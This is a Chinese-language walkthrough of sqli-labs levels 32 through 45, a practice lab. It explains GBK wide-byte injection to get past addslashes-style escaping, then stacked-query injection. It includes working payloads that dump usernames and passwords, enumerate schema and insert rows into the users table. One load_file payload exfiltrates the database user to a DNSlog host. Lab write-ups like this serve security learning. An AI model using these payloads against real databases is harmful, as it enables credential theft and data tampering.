less-32 Bypass addslashes
又是一道不会的,直接上源码看下
分别在\ ’ " 前面加上反斜杠,所以绕过就需要解决反斜杠
解决方法一:宽字节注入
先看源码,设置编码方式为gbk
然后来举个例子,理解下宽字节注入原理
假设输入id=1’,那么会被服务器过滤为
1\'
,那么转为gbk编码(十六进制)后为,31 5c 27我们要想办法保留27,那么只要找一个汉字,其gbk编码后一个字节为5c即可,这里我找到的有
df 5c ab 5c 83 5c
只要去查gbk编码表,能找到很多
这样,在url中输入对应的url编码,输入内容变为
1%83'
,就会转变为gbk编码31 83 5c 27 ,df5c会被识别成一个汉字,因此,拼接进的id就变成了1僜'
,这样就既去掉了反斜杠保留了单引号
不理解的可以去了解下各种编码ascii unicode utf-8之类,稍微了解下就好懂了
GBK在线编码
id=-1%83' union select 1,2,(SELECT+GROUP_CONCAT(username,0x2c,password+SEPARATOR+0x3c62723e)+FROM+users)--+
本来还想看看有没有别的方法,找了半天没找着,就先这样了。
less-33
同上一关差不多
less-34
get方法和post方法提交参数的不同点:
get方法将参数直接当作url编码提交
post方法会先将参数都进行url编码后再提交
在hackbar中post提交会进行url编码,因此这关需要使用burp抓包避免这种情况
还是addslashes转义,依然宽字节注入
另外我还看到一种方法是utf16绕过,先🐎为敬
less-35
输入单引号直接报错,显示有转义,根据报错信息猜测是数字型,验证成功
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 – +
less-36
?id=a%df' || 1=1 -- =
测试出宽字节注入,单引号闭合,无报错,有回显
看了下源码,发现这关过滤函数换成了mysql_real_escape_string,依然宽字节绕过
不过这几关能绕过,特殊条件就是要gbk编码,我将编码语句注释掉,再次测试就发现网上说的宽字节和utf-16都没办法绕过了
less-37
有回显,无报错
post方法一定要用burp抓包,要不然一堆问题
这关是mysql_real_escape_string和post方法
以上都是对于加反斜杠转义的绕过,方法差不多都是用宽字节,前提条件需要gbk编码,如果没有gbk编码,我还是不知道怎么绕过。。
less-38 Stacked query
堆叠注入,多条sql语句一起执行达成注入
id=a’ union select 1,2,3;insert into users values(111,‘22’,‘33’)-- =
欸嘿嘿
总算看到有点意思的东西了,less-38 dnslog | getshell MYSQL注入 dnslog secure_file_priv修改设置
这里我用的DNSlog平台
?id=1');select load_file(concat('\\\\',(select hex(user())),'.ulec9h.dnslog.cn\\AAA')) -- =
成果展示
less-39
有报错,有回显,测试发现是数字型注入
id=1;insert into users values(113,‘2’,‘33’); #
跟上关差不多
less-40
?id=1')||('
测出单引号括号闭合
?id=1');insert into users values(1111,'1','2') -- =
执行成功
本来还想这关是不是和之前一样,我这没有进对入口文件,然后看到还是有人和我一样情况,那我就放心了
less-41
数字型注入,无报错,有回显
?id=1;insert into users values(1013,'2','33'); #
less-42
多页面再次出现,注册用户界面如下
既然要想办法给自己创建个用户,也就是insert进去,就得想想哪里更有可能进行堆叠注入
想了下觉得漏洞更有可能出现在登录界面
测试发现有报错信息
还挺简单直接就可以insert进数据
login_user=1&login_password=2';insert into users value(111111111,'123','123') -- =&mysubmit=Login
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cYdMahEj-1648978637281)(https://cdn.jsdelivr.net/gh/r2233r/psBed@main/img/202204031614766.png)]
less-43
注意post数据要传给login.php,闭合方式是单引号加括号,有报错回显
和上一关差不多,八多说了
less-44
login_user=1 &login_password=2'|' &mysubmit=Login
测出单引号闭合,无报错信息
测试堆叠注入还是能成功
跟之前的差不多
less-45
单引号加括号闭合,无报错
login_user=1 &login_password=2');insert into users value(111111110,'123','123') -- =&mysubmit=Login
还是和之前的差不多,不多说了
哎呀妈呀总算过完上面这些了,说实话,这一部分有点点枯燥,比较简单,但是又还得过一遍
总结
less32-less37都是宽字节注入
less38-less45都是堆叠注入